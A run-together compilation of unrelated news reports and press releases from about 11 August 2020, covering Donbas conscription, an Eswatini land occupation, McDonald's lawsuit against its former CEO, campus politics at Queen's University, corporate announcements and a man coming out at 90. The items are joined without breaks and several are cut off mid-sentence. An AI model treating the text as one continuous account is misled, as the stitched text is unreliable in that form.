Donetsk and Luhansk regions have stepped up their conscription campaign and propaganda targeting persons aged 18 to 55. In particular, propaganda efforts, including announcements in local media and public places, have increased," according to the ministry's daily report on the situation in the Joint Forces Operation zone. Read alsoDonbas truce: Ukraine reports one enemy provocation on Aug 10 Local mobile operators are sending out SMS messages for recruiting to military service under a contract. The number of campaign groups of the 1st (Donetsk) and 2nd (Luhansk) Army Corps who conduct recruiting in villages, towns, and cities has also increased. At the same time, the reassignment of the officer corps at the "company-battalion" level is underway in enemy units following the July inspection of the Russian occupying forces by the commissions of the Russian Defense Ministry, the General Staff and the Southern Military District of the Russian armed forces. PIGGS PEAK Residents of Malandalahle have given up years of waiting for land to be allocated by the municipality. On Sunday, over 150 residents took over a portion of land which is said to be managed by the Piggs Peak Town Council. The land is situated at a place known as Umbhongamphisi under Ward I. Some of the residents did not hide their excitement and openly referred to their action as land expropriation, similar to the one supported by the Economic Freedom Fighters (EFF) of South Africa. EFF is a South African political party led by Julius Malema. The residents accused the town council, particularly councillors, of being slow in processing the allocation of plots. Squatters We are forced to become squatters in a town we have lived in for many years, said the residents. The residents used sticks to mark the plots but said this was the first step and that some residents had already started to use logs to divide their portions of land. One of the residents, Stan Dlamini, said over 150 residents had shown interest in acquiring land. He said previously, the portion of land was under Chief Mnikwa of Hhelehhele, but this changed when the town began to develop into a municipality. Dlamini said the residents realised that their ward was not developing yet they were paying rates. He said instead of developing the wards, the municipality was using the money to create projects which were not benefitting the residents. He said one of the projects, which he referred to as not useful, was a bypass road which was meant to divert delivery trucks. Dlamini said the truck drivers were not using this road because it was narrow. Dlamini also said the residents felt Eswatini Nation Land was better than the one under the municipality because inner councils were faster in allocating land. They should give the land back to the chiefs, said Dlamini. (CNN) Ousted McDonald's CEO Steve Easterbrook lied to the board about the extent of his relationships with employees, the company alleged in a new lawsuit. He misled investigators about engaging in physical sexual relationships with three employees in the year before his ouster, according to the documents. Now, McDonald's is suing Easterbrook for the amount of his exit package: about $40 million. The company cut ties with Easterbrook in November. At the time, McDonald's board said the executive had violated company policy and "demonstrated poor judgment" by engaging in a consensual relationship with an employee. In legal documents filed Monday morning, McDonald's said that an internal investigation found other relationships and evidence that Easterbrook lied and destroyed records to conceal his behavior. They also offer more details on the incident that the McDonald's board referenced in its statement announcing Easterbrook's exit: a sexting relationship with an employee. "The investigation confirmed that the alleged relationship had occurred and revealed that it had been a non-physical, consensual relationship involving texting and video calls," according to the complaint, which added that the relationship lasted a few weeks. The document alleges that Easterbrook said this relationship was "the only one of an intimate nature" that he had ever maintained with an employee. He also allegedly said that he'd never had a physical sexual relationship with someone who worked for him. But McDonald's reopened the investigation after it got an anonymous report in July alleging that Easterbrook had a physical sexual relationship with an employee while he was CEO. The new investigation found that Easterbrook engaged in physical sexual relationships with three employees in the year before he was terminated, according to the complaint. The evidence for those relationships, according to the suit, came in the form of "dozens of nude, partially nude, or sexually explicit photographs and videos of various women," which included photographs of the three employees. Easterbrook allegedly sent the images as attachments on emails from his work to his personal account. The investigation also found that Easterbrook "approved an extraordinary stock grant, worth hundreds of thousands of dollars, for one of those employees in the midst of their sexual relationship," and that he lied to McDonald's investigators last year. The company alleges that by lying to the board, Easterbrook led them to believe that his firing could be considered "without cause." The board ultimately landed on that designation, which entitled Easterbrook to certain outgoing benefits, the suit alleges. As part of the terms of his exit, Easterbrook was promised 26 weeks severance pay, in addition to prorated bonuses as warranted. Those benefits amounted to about $42 million, according to outside firm Equilar. Easterbrook stepped into the CEO role in 2015. He was replaced in November by Chris Kempczinski, who on Monday sent a letter out to employees commenting on the lawsuit. "We recently became aware, through an employee report, of new information regarding the conduct of our former CEO, Steve Easterbrook. We now know that his conduct deviated from our values in different and far more extensive ways than we were aware when he left the company last year," he said. "McDonald's does not tolerate behavior from any employee that does not reflect our values." In an email sent to McDonald's employees at the time of his exit, Easterbrook expressed regret over the relationship. "As for my departure, I engaged in a recent consensual relationship with an employee, which violated McDonald's policy," Easterbrook wrote. "This was a mistake. Given the values of the company, I agree with the board that it is time for me to move on. Beyond this, I hope you can respect my desire to maintain my privacy." He also said that his time as CEO "have been the most fulfilling years of my working life." This story was first published on CNN.com. CNN is reaching out to Easterbrook's lawyer for comment. A unionist student has said attitudes need to change at Queen's University to make people who share his views feel welcome on campus. Matthew Bell (21) from west Tyrone has been studying history and politics, is an officer with the Young Unionists at Queen's, but admitted he is finding it sometimes difficult to find a foothold for his beliefs. While the university has always denied that the institution is a 'cold house' for unionists, it can still be an uncomfortable place for Matthew, a former pupil at Omagh Academy. "Queen's University itself is largely fine. It would be a stretch to say all of the administrative staff, all of the lecturers and all of the various other employees are actively fighting against unionism," he wrote on Challenges NI, an online platform for young voices in Northern Ireland. "However, when unionists state that Queen's University is a cold house for them, we are trying to discuss the Students' Union, its leadership and the general attitude of certain students around campus. These issues haven't been addressed. "I have sat on the Students' Council and I am constantly left in a state of bemusement at the attitudes." Mr Bell noted how the current Students' Union President, Grian Ni Dhaimhin, had posted on social media in the past expressing her apparent support for militant republicanism. He also claimed two other full-time officers of the Students' Union executive regularly show support for socialist republican activist group 'Lasair Dhearg' via social media. "Irish nationalist student councillors consistently put forward motions which are nothing but an insult to the unionist community on campus," he said. "The latest example being a motion which attempts to ban the British military and PSNI from appearing on campus, a blatant insult to any student, regardless of political views, who intends to join the armed services or police upon graduating. "There are 'student bars' where unionists, and in particular Protestants, refuse to enter as they have a genuine fear of being the victim of sectarian abuse." In June members of Lasair Dhearg 'renamed' Queen's as 'Mairead Farrell University Belfast' in a stunt to remember a former student who was shot dead in Gibraltar in 1988 while engaged in IRA activity. "Two other incidents that Queen's Ogra Sinn Fein were engaged in have gone unpunished by the Students' Union," he added. "During Freshers Fair 2019, the Ogra Sinn Fein stand displayed a 'Brits Out' sign. And Sinn Fein posters are consistently displayed on lampposts. "Strictly speaking, these posters shouldn't be erected outside election time and constitute littering because they do not have planning permission. These posters represent an attempt to mark territory. "There are fewer ways to create a more unwelcoming atmosphere for unionists. "Queen's University as an institution might not be a cold house for unionism now but the Students' Union and attitudes on campus are certainly sending us head-on into an ice age." Queen's University has been contacted for comment. BAKU, Azerbaijan, Aug. 11 Trend: Indicators on social expenses and support measures for employment in Azerbaijan have beaten record in 2020, Azerbaijani Minister of Labor and Social Protection of Population Sahil Babayev told media in an interview, Trend reports. "Over the past period, on behalf of the head of state, the coverage of social assistance has been expanded. Currently, 350,000 members of 84,000 families receive such assistance," said the minister. "This year, a record number of at least 1,500 apartments and private houses, and 400 cars will be granted to families of martyrs and war-disabled persons. The social services program for seniors aged over 65 years covers 15,000 people," Babayev said. "During the special quarantine regime, more than 100,000 families received 200,000 food packages. A total of over 500,000 people will benefit from social protection programs, 200 million manat ($117.6 million) has been allocated for these purposes," said the minister. The minister added that the support was provided to 2 million people on social security, as part of maintaining labor relations - 1,660 people, unemployment and support for low-income persons who lost income during the quarantine regime - more than 700,000 citizens. "All these measures again show that the welfare of the citizen of Azerbaijan is at the center of the state policy," Babayev added. Major carbonate mineral producers investing extensively in PPE and automated mining systems to sustain regular operations during the coronavirus crisis, while mitigating health concerns for workers. DUBAI, UAE / ACCESSWIRE / August 11, 2020 / Future Market Insights: The carbonate minerals market is anticipated to surpass a valuation of US$ 80 Bn during the period of projection between 2019 and 2029. The coronavirus pandemic has significantly impacted the carbonate minerals market. Mining operations in multiple countries have been temporarily suspended or limited. Further, uncertainties over lockdowns and potential resurgence of the contagion are likely to have an adverse impact on the short-term prospects of the carbonate minerals market. "Carbonate minerals are have gained major interest in recent times, owing to potential applications in reversing climate change. Carbonate minerals can be used to sequester carbon dioxide in solid form in multiple industry verticals, which will generate highly lucrative opportunities in the industry," says the FMI analyst. Request a sample of the report to gain in-depth market insights at https://www.futuremarketinsights.com/reports/sample/rep-gb-309 Carbonate Minerals Market - Key Takeaways Dolomite is gaining traction in the agriculture sector for niche applications as a soil stabilizer. Calcite remains an in-demand carbonate mineral owing to extensive applications in paper, plastic, and paint & coating production. Asia Pacific is a fast-growing market for carbonate minerals owing to recent upsurge in industrial and transport infrastructure investments from public and private bodies. Carbonate Minerals Market - Driving Factors Wide ranging applications of carbonate minerals in multiple verticals including construction, paper, agriculture, coatings, feed, plastic, ceramics, and steel sustain market growth. Favorable government policies and investments towards infrastructure and industrial development help market players. Carbonate Mineral Market - Key Constraints Environmental concerns associated with carbonate mineral mining activities holds back market growth. High processing and production costs for carbonate minerals limits adoption rates. The Anticipated Impact of Coronavirus The coronavirus pandemic has closed several carbonate mineral mines to close temporarily either owing to a shortage of workers or over health concerns of the workers. Remote monitoring, maintenance, and technical support will be critical to the functioning of the supply chain. The carbonate mineral market is likely to witness a steady resurgence towards 2021 as lockdown restrictions are relaxed, and industrial demand is back on the rise. Explore the global carbonate minerals market report with 145 illustrative figures, 31 data tables and the table of contents. You can also find market segmentation on https://www.futuremarketinsights.com/askus/rep-gb-309 Competition Landscape Major manufacturers in the carbonate minerals market include but are not limited to Holding Toray Industries Inc., Mitsubishi Chemical, Solvay Group, Teijin Ltd., and SGL Carbon SE. Manufacturers are largely displaying interest expansion of mining and production facilities to boost operations and meet growing end user demand. Research in sustainability is also gaining traction. For example, Giga Metals has collaborated with the University of British Columbia to run a carbon dioxide sequestration program by turning silicates in mining facilities to carbonate minerals. Incoa Performance Minerals LLC has announced a US$ 110 million investment into the development of a carbonate mineral processing facility in the Gulf Coast. Northern Minerals has collaborated with Thyssekrupp Materials for a carbonate minerals pilot plant project in West Australia. More About the Report The FMI's market research report offers detailed insights on carbonate minerals market. The market is scrutinized on the basis of mineral (calcite, magnesite, aragonite, smithsonite, and dolomite), source (natural and synthetic), and end use (food, paint, plastic & rubber, paper & pulp, building & construction, agriculture, and glass) across seven key regions (North America, Latin America, Western Europe, Eastern Europe, Asia Pacific excluding Japan, Japan, and Middle East and Africa). We Offer tailor-made Solutions to fit Your Requirements, Request Customization@ https://www.futuremarketinsights.com/customization-available/rep-gb-309 Explore Extensive Coverage of FMI's Chemicals & Materials Landscape APAC Flexible Glass Market: Find insights on the APAC flexible glass market with segment analysis, statistics, influencing factors, and business strategies for a 6-year period. BRIC Automotive Plastics Market: FMI's report on the BRIC automotive plastics market offers details on the market set for 2015-2020. The study includes impacting forces, sources of revenue, market leaders, and important strategies. Bio-Plastics Market: Get an analysis on the bio-plastics market with insights on growth factors, opportunities, regulatory policies, restraints, regional markets and market leaders. About Future Market Insights Expert analysis, actionable insights, and strategic recommendations of the veteran research team at FMI helps clients from across the globe with their unique business intelligence requirements. With a repository of over thousand reports and 1 million+ data points, the team has scrutinized the chemicals & materials sector across 50+ countries for over a decade. The team provides unmatched end-to-end research and consulting services. Reach out to explore how we can help. Contact Mr. Abhishek Budholiya Unit No: AU-01-H Gold Tower (AU), Plot No: JLT-PH1-I3A, Jumeirah Lakes Towers, Dubai, United Arab Emirates MARKET ACCESS DMCC Initiative For Sales Enquiries: sales@futuremarketinsights.com For Media Enquiries: press@futuremarketinsights.com Report: https://www.futuremarketinsights.com/reports/carbonate-minerals-market Press Release Source: https://www.futuremarketinsights.com/press-release/carbonate-minerals-market SOURCE: Future Market Insights View source version on accesswire.com:https://www.accesswire.com/601143/Calcite-Application-in-Paper-Production-is-a-Major-Contributor-to-the-Carbonate-Minerals-Market-Mining-Disruptions-Hurt-Prospects-During-Covid-19-Pandemic--Future-Market-Insights Global Fortune 500 retailer works with Standard to launch the worlds first convenience store retrofitted with AI technology Standard to Provide Circle K with Autonomous Checkout The two companies will launch the worlds first convenience store retrofitted with AI technology The two companies will launch the worlds first convenience store retrofitted with AI technology SAN FRANCISCO and TEMPE, Ariz., Aug. 11, 2020 (GLOBE NEWSWIRE) -- Standard (Standard Cognition), which provides the only autonomous checkout solution that can be quickly and easily installed in existing stores, today announced that Alimentation Couche-Tard, a Fortune Global 500 company that operates close to 14,500 convenience stores worldwide, including under the global brand Circle K (Circle K), has selected Standard to pilot touchless, autonomous checkout technology for its stores. Together, the two companies will launch the worlds first convenience store retrofitted with AI technology, located in the Phoenix, AZ area, with other stores to follow. Customers will be able to simply walk in, take what they like, and walk out, without having to scan anything or wait in line to pay. This Arizona store will mark the first-ever retrofit of an existing convenience store with autonomous checkout technology. For Standard, this means integrating with Circle Ks existing systems and working with their current store layout, fixtures and lighting, as well as their existing inventory management and replenishment processes. There will be no shelf sensors in the Circle K store; instead, Standard leverages ceiling-mounted cameras as well as proprietary AI and machine vision software to accurately associate each shopper with the items they pick up without using biometric data. Creating a frictionless shopping experience has been high on Circle Ks list of priorities for some time and retrofitting existing stores with Standards technology will enable the retailer to move forward more quickly and in a more cost-efficient fashion. In this first store, Circle K customers will be able to choose to have a completely autonomous and touchless shopping experience by paying via a smartphone app, or via cash or credit/debit card at a kiosk or by visiting a traditional cashier station. Story continues Autonomous checkout is one of our innovation priorities that enable us to make our customers lives a little easier every day. We thoroughly evaluated the market and realized that working with Standard presented significant benefits since they could integrate with our existing systems and retrofit our existing stores, said Magnus Tagtstrom, Head of Global Digital Innovation at Alimentation Couche-Tard. We will not have to relocate merchandise, replace shelves or build an entirely new store to implement autonomous checkout. We are excited to partner with Standard to try this technology in some of our stores worldwide. We believe convenience stores will be the first major market to quickly adopt autonomous checkout, said Jordan Fisher, Co-Founder and CEO of Standard. With over 150K convenience stores in the U.S. alone, this is a key market for Standard. Circle K is one of the leading convenience store chains globally, and this partnership is a major validation for our technology to go live with such a power-house retailer. Standard also brings expertise in the intersection of impulse shopping and autonomous checkout. Through its insights, Standard will help Circle K design user experiences that balance operational efficiency, shopper satisfaction and financial optimization. Standard was one of the first startups in the autonomous checkout space, and first to open a cashierless store in San Francisco. Recognized by Fast Company magazine as One of The Worlds 50 Most Innovative Companies, Standard is currently working with retailers across the U.S. and the world. The company has raised $86M in funding from high-profile investors including CRV, Initialized Capital, EQT Ventures and Y Combinator. About Circle K Couche-Tard is the leader in the Canadian convenience store industry. In the United States, it is the largest independent convenience store operator in terms of the number of company-operated stores. In Europe, Couche-Tard is a leader in convenience store and road transportation fuel retail in the Scandinavian countries (Norway, Sweden and Denmark), in the Baltic countries (Estonia, Latvia and Lithuania), as well as in Ireland, and has an important presence in Poland. In addition, under licensing agreements, approximately 2,350 stores are operated under the Circle K banner in 15 other countries and territories (Cambodia, Egypt, Guam, Guatemala, Honduras, Hong Kong, Indonesia, Jamaica, Macau, Mexico, Mongolia, New Zealand, Saudi Arabia, the United Arab Emirates and Vietnam), which brings the worldwide total network to close to 14,500 stores. https://corpo.couche-tard.com . About Standard Standard is transforming retail as we know it, with the first autonomous checkout solution that works in any existing store and allows customers to walk in, grab what they need, and walk out without waiting in line or stopping to scan or pay. The companys machine vision and AI-powered solution is the only one that can be quickly and easily installed in retailers existing stores, representing a giant leap forward for retail tech and enabling retailers to rapidly deliver an amazing new shopping experience to customers. The first and best-funded startup in this space, Standard has launched multiple operational stores with customers, and is working with retailers around the world. Learn more at https://standard.ai/ Media Contacts: Alex Plant Marketing at Standard plant@standard.ai A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/14de1044-c672-4d44-8d96-13b395b6a92b "Don't go out late at night." "Take a man with you so you won't get harassed." "Don't wear this, don't wear that." These are just some of the things women get to hear because of men's behaviour. People always blame the victim in case of harassment, eve-teasing or rape. People who are at fault always get a free pass because of how the society functions. While any of these factors never should put the blame on the victim, what happens when you take them away and the woman - or basically a girl in this case - still gets harassed? 19-year-old Sudeeksha Bhaati's only fault was that she was a woman living in India who tragically lost her life because some men don't know how to mind their own business. Goons chased her She met accident.@SudeekshaBhati one of the brilliant student got around 4 crore scholarship in USA. WHAT A SHAME on Humanity !! UP GOVERNMENT must DO JUSTICE with her family now. #Justiceforsudeeksha Arnab Goswami (@arnabofficial7) August 11, 2020 She was, reportedly, on her way to Bulandshahr with her uncle on a scooty when two men on a motorbike started following them. Her uncle, Satendra Bhaati, said, "The men were passing comments on Sudeeksha and were trying to overtake her and do stunts. Suddenly, their motorbike hit Sudeeksha's Scooty and it lost balance. Sudeeksha died on the spot." She was just 19. Also she was exceptionally intelligent. Got a scolarship of 4 crores for studying in abroad. If she would have been alive, could have done miracles in our country. But eve teasing killed her. Extremely sad on seeing this.#JusticeForSudeeksha pic.twitter.com/7unvpWWFh5 Monalisa Sahoo (@Monalis76662290) August 11, 2020 She lost her life in an accident that could've been avoided if these heinous men didn't decide to eve-tease her. She lost her bright future because of harassment of these men who, judging by the history of crimes committed against women in this country, will go free. After topping her 12th exams in Bulandshahr district, Sudeeksha was studying Babson College in Massachusetts, US, on a scholarship of Rs 3.80 crore. She was supposed to go back to the US this month, after being back home for vacation. That kind of scholarship is no joke and anyone can tell that she was going to do big things in life with the education and opportunities she was given. Her life had just begun and now she's gone way too soon. And, any kind of defence for the culprit that we always see doesn't work here. She was basically a kid with her uncle, not alone, and the eve-teasing still resulted in her death. This bright young girl Sudeeksha Bhati died in accident due to even teasing when she was being chased by her harassers, in Uttar Pradesh. The BJP represents Marich, the Rakshas. They are selling Rakshas Rajya in the name of Ram Rajya. #JusticeForSudeeksha pic.twitter.com/hrFnGSwV9A Gaurav Pandhi (@GauravPandhi) August 11, 2020 This just goes to show how, at any point, any woman in this country can lose their lives because no one teaches men how to behave. No one teaches men that they aren't entitled to anyone. No one teaches men that their actions cause permanent damage to a family. And, the conversation around the safety of women will never change until and unless the society stops blaming the victim for anything that happens to them and starts holding the actual people committing the crime accountable. Belonging to a poor family, Sudeeksha was a promising student as she had topped in her 12th exams from Bulandshahr and was studying in the US on a scholarship of Rs 3.80 crore. Yesterday, she died in a Road accident due to an evil act of Eve-teasers.#JusticeForSudeeksha pic.twitter.com/ftxCvkelcz saksham katiyar (@saksham27593482) August 11, 2020 RIP Sudeeksha, a life that shouldn't have been lost, but hopefully, she gets justice and the next girl is saved from the same unfortunate fate. Kuzmenko has already spent seven months behind bars at a detention center. The panel of judges of Kyiv's Court of Appeals has ruled to change a preventive measure for volunteer and pediatric surgeon Yulia Kuzmenko, who is suspected of complicity in the murder of Belarusian journalist Pavel Sheremet in Kyiv in the summer of 2016. The measure was eased from custody remand to round-the-clock house arrest. Thus, Kyiv's Court of Appeals overturned the ruling of a lower-instance Pechersky District Court, which had previously extended Kuzmenko's custody term, according to an UNIAN correspondent. Read alsoZelensky: Avakov must bring Sheremet murder case to end Kuzmenko has already spent seven months behind bars at a detention center. Background The awards recognize outstanding coverage by print, broadcast, and digital outlets and outreach by ASHA-certified member audiologists and speech-language pathologists (SLPs). Ten media outlets and five communication sciences and disorders professionals have been chosen as the recipients of the 2020 media awards of the American Speech-Language-Hearing Association (ASHA), the organization announced today. The awards recognize outstanding coverage by print, broadcast, and digital outlets and outreach by ASHA-certified member audiologists and speech-language pathologists (SLPs). "Dominated partly by news of the pandemic, this past year has posed unique challenges to spreading the word about matters related to human communication, ASHA President Theresa H. Rodgers, MA, CCC-SLP, said. However, due to the extraordinary efforts of the recipients of this years media awards, those challenges were more than met, and the word was spread effectively. ASHA is pleased and proud to honor them. ASHAs 2020 Media Award recipients are as follows: Print Media USA Today: For Communications Time Bomb: Parents Smartphone Use Could Be the New Secondhand Smoke. Published January 16, 2020, this ASHA op-ed raised the concern that popular technology overuse by parents could be hazardous to their childrens speech and language development. Skilled Nursing News (SNN): For its extensive coverage of new Medicare and Medicaid reimbursement payment models. SNN devoted several articles to the topic, coverage that included the impact of the new models on SLPs and their clients. The Atlantic: For What Joe Biden Cant Bring Himself to Say, by John Hendrickson, published January 2020. Hendrickson wrote about presidential candidate and former U.S. Vice President Joe Bidens experience with a lifelong stutteras well as about Hendricksons own stutter. Digital Media U.S. News & World Report: The COVID-19 Effect on Health Care Grad Schools, by Ilana Kowarski, published April 9, 2020. Kowarski explored how far-reaching disruptions stemming from the COVID-19 pandemic will affect the pool of students graduating in healthcare fields such as audiology and speech-language pathology. Motherly: Early intervention + coronavirus: What to do when your childs speech delay services are interrupted. Motherly distributed critical advice for young children with speech delays whose treatment might be disrupted by the COVID-19 pandemic. People: A Doctor Weighs in On Reusable Clear Face Masks, by Summer Cartwright, published July 16, 2020. Cartwright quoted ASHA President Theresa H. Rodgers, MA, CCC-SLP for a story about how clear face masks can help alleviate the communication challenges opaque masks can pose to those who are deaf or hard of hearing. Broadcast Media Doctor Radio Sirius XM: For its May 20, 2020, interview on the channels Otolaryngology show with Deborah Berndtson, AuD, CCC-A, ASHA Associate Director of Audiology Professional Practices. Berndtson discussed the issues that people with hearing loss may face during the COVID-19 pandemic. ABC TVs Good Morning America: For its May 13, 2020, segment on teletherapy, featuring ASHA member Lori Caplan-Colon, MA, CCC-SLP. The segment illustrated how health care professionals such as speech-language pathologists are keeping children engaged during remote treatment sessions. FOX 5 TV Washington, DC: For its July 2, 2020, broadcast on the threat that fireworks celebrations can pose to hearing. ASHA member Shruti Deshpande, PhD, CCC-A offered safety tips to prevent permanent noise-induced hearing loss and provided advice for seeking help if ones hearing has been compromised. WCBS TV New York City: For its April 24, 2020, broadcast on how the coronavirus pandemic has affected the demand for treatment from speech-language pathologists. The segment featured speech-language pathologists Marissa Barrera, PhD, CCC-SLP and Luis Riquelme, PhD, CCC-SLP, who have also been named ASHA Member Media Outreach Champions for this year. 2020 ASHA Member Media Outreach Champions Marissa Barrera, PhD, CCC-SLP: Barrera spoke to CBS TV's New York, New York, affiliate to alert the public on how prolonged ventilator use during COVID-19 treatment can strain vocal folds and require speech-language pathology care for rehabilitation. Kimberly Creel, MCD, CCC-SLP: Creel wrote an op-ed for the Opelika-Auburn News, Opelika, Alabama to help sound the alarm about the lack of teletherapy coverage under many health insurance plansa critical omission in light of the coronavirus epidemic. Phallon Doss, AuD, CCC-A: FOX TVs San Antonio, Texas, affiliate interviewed Doss, who warned parents about the dangers posed by unsafe headphone use. She also advised the audience about how to use headphones safely. Luis Riquelme, PhD, CCC-SLP: Riquelme spoke to CBS TVs New York, New York, affiliate about how COVID-19 is challenging traditional ways in which speech-language pathologists provide treatment for swallowing and communication disorders. Riquelme also offered new opportunities to raise awareness about the importance of these services. Susan Yaffe-Oziel, MMS, CCC-A: Yaffe-Oziel appeared on Seniors Todaya show broadcast on Montgomery County, Maryland, cable TVto discuss the latest developments in hearing health care and to give the public advice for addressing hearing loss. Her appearance was taped and was accessible to viewers for 1 month. Yaffe-Oziel has also been featured in an ad for ASHAs Value of the CCCs campaign, which promotes the value of ASHA certification and the work of ASHA Certified Members. About the American Speech-Language-Hearing Association (ASHA) ASHA is the national professional, scientific, and credentialing association for 211,000 members and affiliates who are audiologists; speech-language pathologists; speech, language, and hearing scientists; audiology and speech-language pathology support personnel; and students. Audiologists specialize in preventing and assessing hearing and balance disorders as well as providing audiologic treatment, including hearing aids. Speech-language pathologists identify, assess, and treat speech and language problems, including swallowing disorders. View all ASHA press releases at http://www.asha.org/about/news. Toronto, Ontario--(Newsfile Corp. - August 11, 2020) - Generic Gold Corp. (CSE: GGC) (FSE: 1WD) ("Generic Gold" or the "Company") is pleased to announce that further to its press release of June 27, 2020, the Company has completed its previously announced "best-efforts" brokered private placement financing through the issuance of an aggregate of 16,858,298 units (the "Units") of the Company at a price of $0.35 per Unit and an aggregate of 2,857,500 flow-through units (the "FT Units" and together with the Units, the "Offered Securities") of the Company at a price of $0.40 per FT Unit for gross proceeds of $7,043,404.30 (the "Offering"). The Offering was led by StephenAvenue Securities Inc., as sole agent and sole bookrunner (the "Agent"). Each Unit is comprised of one common share (each, a "Common Share") in the capital of the Company and one Common Share purchase warrant (each, a "Unit Warrant"). Each Unit Warrant entitles the holder thereof to acquire one Common Share at a price of $0.50 until August 10, 2022. Each FT Unit is comprised of one Common Share, which shall qualify as "flow-through shares" (as such term is defined in subsection 66(15) of the Income Tax Act (Canada)) (each, a "FT Share") and one-half of one common share purchase warrant, issued on a non-flow-through basis (each, whole warrant a "FT Unit Warrant"). Each FT Unit Warrant entitles the holder thereof to purchase one additional Common Share, issued on a non-flow-through basis, at a price of $0.50 until August 10, 2022. The net proceeds from the sale of the Units will be used for general working capital and exploration purposes. The gross proceeds from the sale of the FT Units will be used by the Company to incur eligible "Canadian exploration expenses" that will qualify as "flow-through mining expenditures" (as such terms are defined in the Income Tax Act (Canada)) (the "Qualifying Expenditures") related to the Company's projects in Canada. All Qualifying Expenditures will be renounced in favour of the subscribers of the FT Units effective December 31, 2020. It is anticipated that most of the funds derived from the sale of the FT Units will be used to explore the Company's recently acquired Belvais project. Richard Patricio, President and CEO of Generic Gold, stated, "We are very excited for this opportunity to advance exploration on Generic Gold's properties, including the newly acquired Belvais project located in Quebec. We look forward to updating the market on a planned exploration program." As consideration for the services provided by the Agent in connection with the Offering, the Agent received: (i) a cash commission of $394,524.26; and (ii) an aggregate of 1,109,147 compensation warrants ("Compensation Warrants"). Each Compensation Warrant entitles the holder thereof to acquire one Common Share at a price of $0.40 until August 10, 2022. The completion of the Offering is subject to certain closing conditions including, but not limited to, the receipt of all necessary regulatory and other approvals including the final approval of the Canadian Securities Exchange. All Offered Securities are subject to a statutory hold period of four months and one day from the Closing Date. The Offered Securities have not been and will not be registered under the U.S. Securities Act of 1933, as amended, and may not be offered or sold in the United States absent registration or an applicable exemption from the registration requirements. This press release shall not constitute an offer to sell or the solicitation of an offer to buy nor shall there be any sale of the Offered Securities in any State in which such offer, solicitation or sale would be unlawful. About Generic Gold Generic Gold is a Canadian mineral exploration company focused on gold projects in the Abitibi Greenstone Belt in Quebec, Canada and Tintina Gold Belt in the Yukon Territory of Canada. The Company's Quebec exploration portfolio consists of three properties covering 8,148 hectares proximal to the town of Normetal and Amex Exploration's Perron project. The Company's Yukon exploration portfolio consists of several projects with a total land position of greater than 35,000 hectares, all of which are 100% owned by Generic Gold. Several of these projects are in close proximity to significant gold projects, including Goldcorp's Coffee project, Victoria Gold's Eagle Gold project, White Gold's Golden Saddle project, and Western Copper & Gold's Casino project. For information on the Company's property portfolio, visit the Company's website at genericgold.ca. For further information contact: Generic Gold Corp. Richard Patricio, President and CEO Tel: 416-456-6529 rpatricio@genericgold.ca StephenAvenue Securities Inc. Daniel Cappuccitti Tel: 416-479-4478 ecm@stephenavenue.com NEITHER THE CANADIAN SECURITIES EXCHANGE NOR THEIR REGULATION SERVICES PROVIDERS ACCEPT RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. Certain statements in this press release are "forward-looking" statements within the meaning of Canadian securities legislation. All statements, other than statements of historical fact, included herein are forward-looking information. Forward-looking statements are necessarily based upon the current belief, opinions and expectations of management that, while considered reasonable by the Company, are inherently subject to business, economic, competitive, political and social uncertainties and other contingencies. Many factors could cause the Company's actual results to differ materially from those expressed or implied in the forward-looking statements. Accordingly, readers should not place undue reliance on forward-looking statements and forward-looking information. The Company does not undertake to update any forward-looking statements or forward-looking information that are incorporated by reference herein, except in accordance with applicable securities laws. Investors are cautioned not to put undue reliance on forward-looking statements due to the inherent uncertainty therein. We seek safe harbour. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61465 The suspended NSW Labor MP whose office and home were raided as part of an investigation into a Chinese government interference plot says he has still not been questioned, and is demanding the federal police "come up with the evidence" or clear his name. In his most detailed response yet to the extraordinary police raids of his home and office on June 26, Shaoquett Moselmane has savaged the "Morrison government's 40-plus Federal Police agents" who raided him for failing to produce "a single allegation" against him. Upper house MP Shaoquett Moselmane has maintained his innocence after his office and home were raided by federal agents as part of an investigation into Chinese Communist Party influence. Credit:Peter Rae The comments were published on a blog just days after it was revealed that Mr Moselmane's part-time staffer John Zhang had been raided on the same day because police believed he was collaborating with the Chinese government's leading spy agency to influence NSW politics. Mr Moselmane wrote on the blog that he did not "know what the allegations are, other than that the Morrison government is searching for evidence of a foreign plot to advance the interests of China." GROUPS OF parents and other anti-communist organizations condemned the acquittal of about 15 leaders of the Communist Party of the Philipp... ARVADA, Colo. Stuck at home during the coronavirus pandemic with not much to do, Kenneth Felts began to write a memoir, chronicling the past 90 years of his life. But as Felts wrote, he quickly realized that his story would never be complete without revealing a secret he had kept hidden his entire life: His true sexuality. Felts, who now lives in Arvada, Colorado, told CNN that he's known he was gay since he was 12 years old. But he said he made the choice to conceal his sexuality because he grew up during a time when homosexuality was both frowned upon and illegal. Much has changed over the last few decades, including the Supreme Court's monumental decision in 2015 to legalize same-sex marriage nationwide. Felts said his memoir couldn't go on without writing about his one true love, Phillip. So at age 90, he finally came out to his daughter and then to the rest of his friends and family through a Facebook post. "I am gay, I am out, and I am free," Felts said he wrote in his post. A secret he was planning to take to the grave A sleepover with a classmate helped Felts come to the revelation that he was gay, he said. But he was taught in his devout Christian family that homosexuality was a sin. "I just knew that if I were to come out as gay, I would probably go to hell," Felts told CNN. "I was going to the grave with (my secret)." So throughout his young adult years, including his deployment to Korea with the U.S. Navy during the Korean War, and his following years in college, Felts lived as a straight man. In the late 1950s, he moved to Long Beach, Calif., to work at a retail credit company. And it was there he met Phillip Jones. "When I met him, I was still straight and so I had not anticipated opening up," Felts said. "He's the one that threw me out and made me realize that we had potential together." Dates started out at coffee shops, but soon, Felts was spending more time at Jones' apartment than his own, and eventually moved in. For over a year, they lived as a happy, albeit secret, gay couple. "When I was living with Phillip in California, homosexuality itself was illegal," Felts said. "It was a felony, we couldn't hold hands or anything like that. You would be arrested on exhibition of such behavior. Once you go to court, your information is spread all around town and you lose your friends, your family." California's sodomy law wasn't repealed until 1975. Ultimately, the burden of being gay in a society where it was considered a crime became too much for Felts, and he decided to break it off with Jones. "I resigned my job, packed up my stuff and went back home," Felts said. "Phillip wrote me two or three letters after that. In the last letter, he said, 'If you don't respond to this letter, I won't bother you anymore.'" "I didn't respond as I hadn't responded to any of his letters," he recalled. "Big mistake." After Felts left Jones, he once again hid his sexuality. But this time, he created an alter ego named "Larry" to create a more defined separation between his two lives. "Larry was my gay side and I, Ken, was the normal, straight person," Felts said. Keeping Larry hidden, 